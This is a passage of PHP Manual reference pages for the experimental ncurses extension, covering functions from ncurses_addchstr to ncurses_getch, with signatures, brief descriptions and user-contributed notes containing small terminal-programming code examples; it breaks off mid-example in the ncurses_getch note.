Ncurses Functions


Add attributed string at current position

ncurses_addchnstr
ncurses_addnstr
Ncurses Functions
PHP Manual

ncurses_addchstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_addchstr — Add attributed string at current position

Description

int ncurses_addchstr ( string $s )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

s

User Contributed Notes

There are no user contributed notes for this page.
ncurses_addchnstr
ncurses_addnstr
Ncurses Functions


Add string with specified length at current position

ncurses_addchstr
ncurses_addstr
Ncurses Functions
PHP Manual

ncurses_addnstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_addnstr — Add string with specified length at current position

Description

int ncurses_addnstr ( string $s , int $n )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

s

n

User Contributed Notes

nweeks at utas dot edu dot au 07-Nov-2002 03:49
Quite handy for truncing fields that may upset a screen layout:

ncurses_addnstr("tenletters",3);

only renders to screen "ten", and truncs the rest
ncurses_addchstr
ncurses_addstr
Ncurses Functions


Output text at current position

ncurses_addnstr
ncurses_assume_default_colors
Ncurses Functions
PHP Manual

ncurses_addstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_addstr — Output text at current position

Description

int ncurses_addstr ( string $text )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

text

User Contributed Notes

There are no user contributed notes for this page.
ncurses_addnstr
ncurses_assume_default_colors
Ncurses Functions


Define default colors for color 0

ncurses_addstr
ncurses_attroff
Ncurses Functions
PHP Manual

ncurses_assume_default_colors

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_assume_default_colors — Define default colors for color 0

Description

int ncurses_assume_default_colors ( int $fg , int $bg )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

fg

bg

User Contributed Notes

There are no user contributed notes for this page.
ncurses_addstr
ncurses_attroff
Ncurses Functions


Turn off the given attributes

ncurses_assume_default_colors
ncurses_attron
Ncurses Functions
PHP Manual

ncurses_attroff

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_attroff — Turn off the given attributes

Description

int ncurses_attroff ( int $attributes )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

attributes

User Contributed Notes

There are no user contributed notes for this page.
ncurses_assume_default_colors
ncurses_attron
Ncurses Functions


Turn on the given attributes

ncurses_attroff
ncurses_attrset
Ncurses Functions
PHP Manual

ncurses_attron

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_attron — Turn on the given attributes

Description

int ncurses_attron ( int $attributes )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

attributes

User Contributed Notes

There are no user contributed notes for this page.
ncurses_attroff
ncurses_attrset
Ncurses Functions


Set given attributes

ncurses_attron
ncurses_baudrate
Ncurses Functions
PHP Manual

ncurses_attrset

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_attrset — Set given attributes

Description

int ncurses_attrset ( int $attributes )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

attributes

User Contributed Notes

There are no user contributed notes for this page.
ncurses_attron
ncurses_baudrate
Ncurses Functions


Returns baudrate of terminal

ncurses_attrset
ncurses_beep
Ncurses Functions
PHP Manual

ncurses_baudrate

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_baudrate — Returns baudrate of terminal

Description

int ncurses_baudrate ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_attrset
ncurses_beep
Ncurses Functions


Let the terminal beep

ncurses_baudrate
ncurses_bkgd
Ncurses Functions
PHP Manual

ncurses_beep

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_beep — Let the terminal beep

Description

int ncurses_beep ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

ncurses_beep() sends an audible alert (bell) and if its not possible flashes the screen.

See Also

  • ncurses_flash() - Flash terminal screen (visual bell)

User Contributed Notes

Anonymous 03-Aug-2009 07:46
Another way to beep (e.g. on Ubuntu) is to install "beep" from repository and use:

<?php

exec("beep");

?>
arplynn at gmail dot com 21-Jan-2006 12:17
If you want to make the terminal beep on a PHP CLI application without needing the ncurses library, use the following code:

<?php

function cli_beep()
{
    echo "\x07";
}

?>
ncurses_baudrate
ncurses_bkgd
Ncurses Functions


Set background property for terminal screen

ncurses_beep
ncurses_bkgdset
Ncurses Functions
PHP Manual

ncurses_bkgd

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_bkgd — Set background property for terminal screen

Description

int ncurses_bkgd ( int $attrchar )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

attrchar

User Contributed Notes

There are no user contributed notes for this page.
ncurses_beep
ncurses_bkgdset
Ncurses Functions


Control screen background

ncurses_bkgd
ncurses_border
Ncurses Functions
PHP Manual

ncurses_bkgdset

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_bkgdset — Control screen background

Description

void ncurses_bkgdset ( int $attrchar )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

attrchar

User Contributed Notes

There are no user contributed notes for this page.
ncurses_bkgd
ncurses_border
Ncurses Functions


Draw a border around the screen using attributed characters

ncurses_bkgdset
ncurses_bottom_panel
Ncurses Functions
PHP Manual

ncurses_border

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_border — Draw a border around the screen using attributed characters

Description

int ncurses_border ( int $left , int $right , int $top , int $bottom , int $tl_corner , int $tr_corner , int $bl_corner , int $br_corner )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Draws the specified lines and corners around the main window.

Use ncurses_wborder() for borders around subwindows!

Parameters

Every parameter expects 0 to draw a line or 1 to skip it.

left

right

top

bottom

tl_corner

Top left corner

tr_corner

Top right corner

bl_corner

Bottom left corner

br_corner

Bottom right corner

See Also

  • ncurses_wborder() - Draws a border around the window using attributed characters

User Contributed Notes

krzysztof at uno dot pl 27-Apr-2007 06:35
I've found several undocumented constants, that are very useful to create borders manually:

ACS_ULCORNER
ACS_LLCORNER
ACS_URCORNER
ACS_LRCORNER
ACS_LTEE
ACS_RTEE
ACS_BTEE
ACS_TTEE
ACS_HLINE
ACS_VLINE
ACS_PLUS
ACS_S1
ACS_S9
ACS_DIAMOND
ACS_CKBOARD
ACS_DEGREE
ACS_PLMINUS
ACS_BULLET
ACS_LARROW
ACS_RARROW
ACS_DARROW
ACS_UARROW
ACS_BOARD
ACS_LANTERN
ACS_BLOCK

They all work in UTF8 terminal...
joeldegan AT yahoo.com 14-Dec-2002 09:05
In addition to the lack of ncurses_wborder() documentation.
There is also the lack of the getyx function..
it is different than the getxy function I wrote (and posted to the main ncurses docs page on php.net) to get the max X and max Y values, instead it gives you your current Y and X values.

ncurses_getyx($z, $y, $x);// where $z = a window handle...
# the $y and $x are handed back as globals.
# so beware of using this in a function where you might be
# looping through any variable using those.
# do a 'man getyx' to see.
ncurses_bkgdset
ncurses_bottom_panel
Ncurses Functions


Moves a visible panel to the bottom of the stack

ncurses_border
ncurses_can_change_color
Ncurses Functions
PHP Manual

ncurses_bottom_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_bottom_panel — Moves a visible panel to the bottom of the stack

Description

int ncurses_bottom_panel ( resource $panel )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

User Contributed Notes

There are no user contributed notes for this page.
ncurses_border
ncurses_can_change_color
Ncurses Functions


Checks if terminal color definitions can be changed

ncurses_bottom_panel
ncurses_cbreak
Ncurses Functions
PHP Manual

ncurses_can_change_color

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_can_change_color — Checks if terminal color definitions can be changed

Description

bool ncurses_can_change_color ( void )

Checks whether the terminal has color capabilities and whether the programmer can change color definitions using ncurses_init_color(). ncurses must be initialized using ncurses_init() before calling this function.

Parameters

This function has no parameters.

Return Values

Return TRUE if the programmer can change color definitions, FALSE otherwise.

See Also

  • ncurses_has_colors() - Checks if terminal has color capabilities
  • ncurses_init_color() - Define a terminal color
  • ncurses_start_color() - Initializes color functionality

User Contributed Notes

There are no user contributed notes for this page.
ncurses_bottom_panel
ncurses_cbreak
Ncurses Functions


Switch of input buffering

ncurses_can_change_color
ncurses_clear
Ncurses Functions
PHP Manual

ncurses_cbreak

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_cbreak — Switch of input buffering

Description

bool ncurses_cbreak ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Disables line buffering and character processing (interrupt and flow control characters are unaffected), making characters typed by the user immediately available to the program.

Return Values

Returns TRUE or NCURSES_ERR if any error occurred.

See Also

  • ncurses_nocbreak() - Switch terminal to cooked mode

User Contributed Notes

php at kormoc dot com 28-Nov-2005 09:16
re satoru's post,
While it's not using cbreak, it sorta is an example. The only difference between raw and cbreak is how control keys are delt with.

Quoted from the ncurses_programming_howto:
Normally the terminal driver buffers the characters a user types until a new line or carriage return is encountered. But most programs require that the characters be available as soon as the user types them. The above two functions are used to disable line buffering. The difference between these two functions is in the way control characters like suspend (CTRL-Z), interrupt and quit (CTRL-C) are passed to the program. In the raw() mode these characters are directly passed to the program without generating a signal. In the cbreak() mode these control characters are interpreted as any other character by the terminal driver.
satoru 05-Nov-2005 11:14
<?php
 /**************************************
  [WARNING!]
  Your terminal may be uncontrollable.

  [HOW TO EXIT]
  Push space key to terminate raw mode.

  [TESTING]
  Tested with FreeBSD5.3R + PHP5.0.5-CLI.
  The option '--with-ncurses' required.
  **************************************/

  $tty = system("tty");
  $handle = fopen($tty, "r");
  if (!$handle)
    exit("cannot open $tty.\\n");

  print "Push space key to terminate.\\n";

  ncurses_init();
  ncurses_raw();
  do {
    $ch = fread($handle, 1);
    printf('[%d] ', ord($ch));
  } while ($ch != " " && ord($ch) != 3);
  ncurses_noraw();
  ncurses_end();
  print "\\n";

  fclose($handle);
?>
ncurses_can_change_color
ncurses_clear
Ncurses Functions


Clear screen

ncurses_cbreak
ncurses_clrtobot
Ncurses Functions
PHP Manual

ncurses_clear

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_clear — Clear screen

Description

bool ncurses_clear ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Clears the screen completely without setting blanks.

Note: ncurses_clear() clears the screen without setting blanks, which have the current background rendition. To clear screen with blanks, use ncurses_erase().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ncurses_erase() - Erase terminal screen

User Contributed Notes

areaz at dotgeek org 13-May-2004 03:49
When your script exits, after ncurses_clear() was called, it could leave your terminal in an inconsistent state.

Therefore, you should call ncurses_savetty() in a constructor and nurses_resetty() in a destructor, to ensure, that your terminal is working fine after your script exits.

Here is an example code snippet, on how to use this function, without falling into trouble ;-)

<? // PHP5 Example

class foo
{
    /* Foo constructor */
    function __construct()
    {
        /* Initialize ncurses first */
        ncurses_init();

        /* Save your tty !!! */
        ncurses_savetty();
    }

    function bar ()
    {
        /* Clear the screen and wait a few seconds */
        ncurses_clear();

        sleep(5);
    }

    /* Foo destructor */
    function __destruct()
    {
        /* Restore your terminal settings */
        ncurses_resetty();

        /* End ncurses and clean up */
        ncurses_end();
    }

}

$test_ncurses = new foo;
$test_ncurses->bar();
?>
ncurses_cbreak
ncurses_clrtobot
Ncurses Functions


Clear screen from current position to bottom

ncurses_clear
ncurses_clrtoeol
Ncurses Functions
PHP Manual

ncurses_clrtobot

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_clrtobot — Clear screen from current position to bottom

Description

bool ncurses_clrtobot ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Erases all lines from cursor to end of screen and creates blanks. Blanks created by ncurses_clrtobot() have the current background rendition.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ncurses_clear() - Clear screen
  • ncurses_clrtoeol() - Clear screen from current position to end of line

User Contributed Notes

There are no user contributed notes for this page.
ncurses_clear
ncurses_clrtoeol
Ncurses Functions


Clear screen from current position to end of line

ncurses_clrtobot
ncurses_color_content
Ncurses Functions
PHP Manual

ncurses_clrtoeol

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_clrtoeol — Clear screen from current position to end of line

Description

bool ncurses_clrtoeol ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Erases the current line from cursor position to the end. Blanks created by ncurses_clrtoeol() have the current background rendition.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ncurses_clear() - Clear screen
  • ncurses_clrtobot() - Clear screen from current position to bottom

User Contributed Notes

There are no user contributed notes for this page.
ncurses_clrtobot
ncurses_color_content
Ncurses Functions


Retrieves RGB components of a color

ncurses_clrtoeol
ncurses_color_set
Ncurses Functions
PHP Manual

ncurses_color_content

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_color_content — Retrieves RGB components of a color

Description

int ncurses_color_content ( int $color , int &$r , int &$g , int &$b )

Retrieves the red, green, and blue components for the given color definition. Terminal color capabilities must be initialized with ncurses_start_color() prior to calling this function.

Parameters

color

The number of the color to retrieve information for. May be one of the pre-defined color constants.

r

A reference to which to return the red component of the color. The value returned to the reference will be between 0 and 1000.

g

A reference to which to return the green component of the color. The value returned to the reference will be between 0 and 1000.

b

A reference to which to return the blue component of the color. The value returned to the reference will be between 0 and 1000.

Return Values

Returns -1 if the function was successful, and 0 if ncurses or terminal color capabilities have not been initialized.

See Also

  • ncurses_init_color() - Define a terminal color
  • ncurses_start_color() - Initializes color functionality

User Contributed Notes

There are no user contributed notes for this page.
ncurses_clrtoeol
ncurses_color_set
Ncurses Functions


Set active foreground and background colors

ncurses_color_content
ncurses_curs_set
Ncurses Functions
PHP Manual

ncurses_color_set

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_color_set — Set active foreground and background colors

Description

int ncurses_color_set ( int $pair )

Sets the active foreground and background colors. Any characters written after this function is invoked will have these colors. This function requires terminal colors to be supported and initialized using ncurses_start_color() beforehand.

ncurses uses color pairs to specify both foreground and background colors. Use ncurses_init_pair() to define a color pair.

Parameters

pair

The color pair from which to get the foreground and background colors to set as the active colors.

Return Values

Returns -1 on success, and 0 on failure.

Examples

Example #1 Writing a string with a specified color to the screen

<?php
ncurses_init();

// If the terminal supports colors, initialize and set active color
if (ncurses_has_colors()) {
    ncurses_start_color();
    ncurses_init_pair(1, NCURSES_COLOR_YELLOW, NCURSES_COLOR_BLUE);
    ncurses_color_set(1);
}

// Write a string at specified location
ncurses_mvaddstr(10, 10, "Hello world! Yellow on blue text!");

// Flush output to screen
ncurses_refresh();

ncurses_end();
?>

See Also

  • ncurses_init_pair() - Define a color pair
  • ncurses_start_color() - Initializes color functionality

User Contributed Notes

There are no user contributed notes for this page.
ncurses_color_content
ncurses_curs_set
Ncurses Functions


Set cursor state

ncurses_color_set
ncurses_def_prog_mode
Ncurses Functions
PHP Manual

ncurses_curs_set

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_curs_set — Set cursor state

Description

int ncurses_curs_set ( int $visibility )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

visibility

User Contributed Notes

dgrimes at scvl dot com 12-Feb-2005 11:12
Valid values are:

0 = Cursor invisible
1 = Cursor normal
2 = Cursor visible
ncurses_color_set
ncurses_def_prog_mode
Ncurses Functions


Saves terminals (program) mode

ncurses_curs_set
ncurses_def_shell_mode
Ncurses Functions
PHP Manual

ncurses_def_prog_mode

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_def_prog_mode — Saves terminals (program) mode

Description

bool ncurses_def_prog_mode ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Saves the current terminal modes for program (in curses) for use by ncurses_reset_prog_mode().

Return Values

Returns FALSE on success, otherwise TRUE.

See Also

  • ncurses_reset_prog_mode() - Resets the prog mode saved by def_prog_mode

User Contributed Notes

There are no user contributed notes for this page.
ncurses_curs_set
ncurses_def_shell_mode
Ncurses Functions


Saves terminals (shell) mode

ncurses_def_prog_mode
ncurses_define_key
Ncurses Functions
PHP Manual

ncurses_def_shell_mode

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_def_shell_mode — Saves terminals (shell) mode

Description

bool ncurses_def_shell_mode ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Saves the current terminal modes for shell (not in curses) for use by ncurses_reset_shell_mode().

Return Values

Returns FALSE on success, TRUE otherwise.

See Also

  • ncurses_reset_shell_mode() - Resets the shell mode saved by def_shell_mode

User Contributed Notes

There are no user contributed notes for this page.
ncurses_def_prog_mode
ncurses_define_key
Ncurses Functions


Define a keycode

ncurses_def_shell_mode
ncurses_del_panel
Ncurses Functions
PHP Manual

ncurses_define_key

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_define_key — Define a keycode

Description

int ncurses_define_key ( string $definition , int $keycode )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

definition

keycode

User Contributed Notes

There are no user contributed notes for this page.
ncurses_def_shell_mode
ncurses_del_panel
Ncurses Functions


Remove panel from the stack and delete it (but not the associated window)

ncurses_define_key
ncurses_delay_output
Ncurses Functions
PHP Manual

ncurses_del_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_del_panel — Remove panel from the stack and delete it (but not the associated window)

Description

bool ncurses_del_panel ( resource $panel )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

User Contributed Notes

There are no user contributed notes for this page.
ncurses_define_key
ncurses_delay_output
Ncurses Functions


Delay output on terminal using padding characters

ncurses_del_panel
ncurses_delch
Ncurses Functions
PHP Manual

ncurses_delay_output

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_delay_output — Delay output on terminal using padding characters

Description

int ncurses_delay_output ( int $milliseconds )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

milliseconds

User Contributed Notes

There are no user contributed notes for this page.
ncurses_del_panel
ncurses_delch
Ncurses Functions


Delete character at current position, move rest of line left

ncurses_delay_output
ncurses_deleteln
Ncurses Functions
PHP Manual

ncurses_delch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_delch — Delete character at current position, move rest of line left

Description

bool ncurses_delch ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Deletes the character under the cursor. All characters to the right of the cursor on the same line are moved to the left one position and the last character on the line is filled with a blank. The cursor position does not change.

Return Values

Returns FALSE on success, TRUE otherwise.

See Also

  • ncurses_deleteln() - Delete line at current position, move rest of screen up

User Contributed Notes

There are no user contributed notes for this page.
ncurses_delay_output
ncurses_deleteln
Ncurses Functions


Delete line at current position, move rest of screen up

ncurses_delch
ncurses_delwin
Ncurses Functions
PHP Manual

ncurses_deleteln

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_deleteln — Delete line at current position, move rest of screen up

Description

bool ncurses_deleteln ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Deletes the current line under cursorposition. All lines below the current line are moved up one line. The bottom line of window is cleared. Cursor position does not change.

Return Values

Returns FALSE on success, otherwise TRUE.

See Also

  • ncurses_delch() - Delete character at current position, move rest of line left

User Contributed Notes

There are no user contributed notes for this page.
ncurses_delch
ncurses_delwin
Ncurses Functions


Delete a ncurses window

ncurses_deleteln
ncurses_doupdate
Ncurses Functions
PHP Manual

ncurses_delwin

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_delwin — Delete a ncurses window

Description

bool ncurses_delwin ( resource $window )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

window

User Contributed Notes

There are no user contributed notes for this page.
ncurses_deleteln
ncurses_doupdate
Ncurses Functions


Write all prepared refreshes to terminal

ncurses_delwin
ncurses_echo
Ncurses Functions
PHP Manual

ncurses_doupdate

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_doupdate — Write all prepared refreshes to terminal

Description

bool ncurses_doupdate ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Compares the virtual screen to the physical screen and updates the physical screen. This way is more effective than using multiple refresh calls.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_delwin
ncurses_echo
Ncurses Functions


Activate keyboard input echo

ncurses_doupdate
ncurses_echochar
Ncurses Functions
PHP Manual

ncurses_echo

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_echo — Activate keyboard input echo

Description

bool ncurses_echo ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Enables echo mode. All characters typed by user are echoed by ncurses_getch().

Return Values

Returns FALSE on success, TRUE if any error occurred.

See Also

  • ncurses_noecho() - Switch off keyboard input echo to disable echo mode

User Contributed Notes

There are no user contributed notes for this page.
ncurses_doupdate
ncurses_echochar
Ncurses Functions


Single character output including refresh

ncurses_echo
ncurses_end
Ncurses Functions
PHP Manual

ncurses_echochar

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_echochar — Single character output including refresh

Description

int ncurses_echochar ( int $character )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

character

User Contributed Notes

There are no user contributed notes for this page.
ncurses_echo
ncurses_end
Ncurses Functions


Stop using ncurses, clean up the screen

ncurses_echochar
ncurses_erase
Ncurses Functions
PHP Manual

ncurses_end

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_end — Stop using ncurses, clean up the screen

Description

int ncurses_end ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_echochar
ncurses_erase
Ncurses Functions


Erase terminal screen

ncurses_end
ncurses_erasechar
Ncurses Functions
PHP Manual

ncurses_erase

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_erase — Erase terminal screen

Description

bool ncurses_erase ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Fills the terminal screen with blanks.

Created blanks have the current background rendition, set by ncurses_bkgd().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ncurses_bkgd() - Set background property for terminal screen
  • ncurses_clear() - Clear screen

User Contributed Notes

There are no user contributed notes for this page.
ncurses_end
ncurses_erasechar
Ncurses Functions


Returns current erase character

ncurses_erase
ncurses_filter
Ncurses Functions
PHP Manual

ncurses_erasechar

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_erasechar — Returns current erase character

Description

string ncurses_erasechar ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns the current erase character.

Return Values

The current erase char, as a string.

See Also

  • ncurses_killchar() - Returns current line kill character

User Contributed Notes

There are no user contributed notes for this page.
ncurses_erase
ncurses_filter
Ncurses Functions


Set LINES for iniscr() and newterm() to 1

ncurses_erasechar
ncurses_flash
Ncurses Functions
PHP Manual

ncurses_filter

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_filter — Set LINES for iniscr() and newterm() to 1

Description

void ncurses_filter ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_erasechar
ncurses_flash
Ncurses Functions


Flash terminal screen (visual bell)

ncurses_filter
ncurses_flushinp
Ncurses Functions
PHP Manual

ncurses_flash

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_flash — Flash terminal screen (visual bell)

Description

bool ncurses_flash ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Flashes the screen, and if its not possible, sends an audible alert (bell).

Return Values

Returns FALSE on success, otherwise TRUE.

See Also

  • ncurses_beep() - Let the terminal beep

User Contributed Notes

There are no user contributed notes for this page.
ncurses_filter
ncurses_flushinp
Ncurses Functions


Flush keyboard input buffer

ncurses_flash
ncurses_getch
Ncurses Functions
PHP Manual

ncurses_flushinp

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_flushinp — Flush keyboard input buffer

Description

bool ncurses_flushinp ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Throws away any typeahead that has been typed and has not yet been read by your program.

Return Values

Returns FALSE on success, otherwise TRUE.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_flash
ncurses_getch
Ncurses Functions


Read a character from keyboard

ncurses_flushinp
ncurses_getmaxyx
Ncurses Functions
PHP Manual

ncurses_getch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_getch — Read a character from keyboard

Description

int ncurses_getch ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

petr at hroch dot info 14-Nov-2006 02:11
While function ncurses_nodelay() is still not implemented and if you need a non-blocking getch,
following code might help.

<?php
$init = ncurses_init();
$full = ncurses_newwin (0,0,0,0);
ncurses_wborder($full,0,0,0,0,0,0,0,0);
ncurses_wrefresh($full);

$running = true;
$fp = fopen("php://stdin","r");     //open direct input stream for reading
stream_set_blocking($fp,0);        //set non-blocking mode

while ($running) {
  while (($buf = fgets($fp, 4096)) != false) {  //fgets is required if we want to handle escape sequenced keys
     $buffer .= $buf;
  }
  if ($buffer != "") {
     switch ($buffer) {
       case " ": {            //exit on space key
         ncurses_end();
        exit;
       }
       default: {
         ncurses_mvwaddstr($full,2,2,"$buffer");  //display input
       }
     }
    $buffer = ""; //empty buffer
   }

  // You can do something interesting here, while we're not waiting for an input
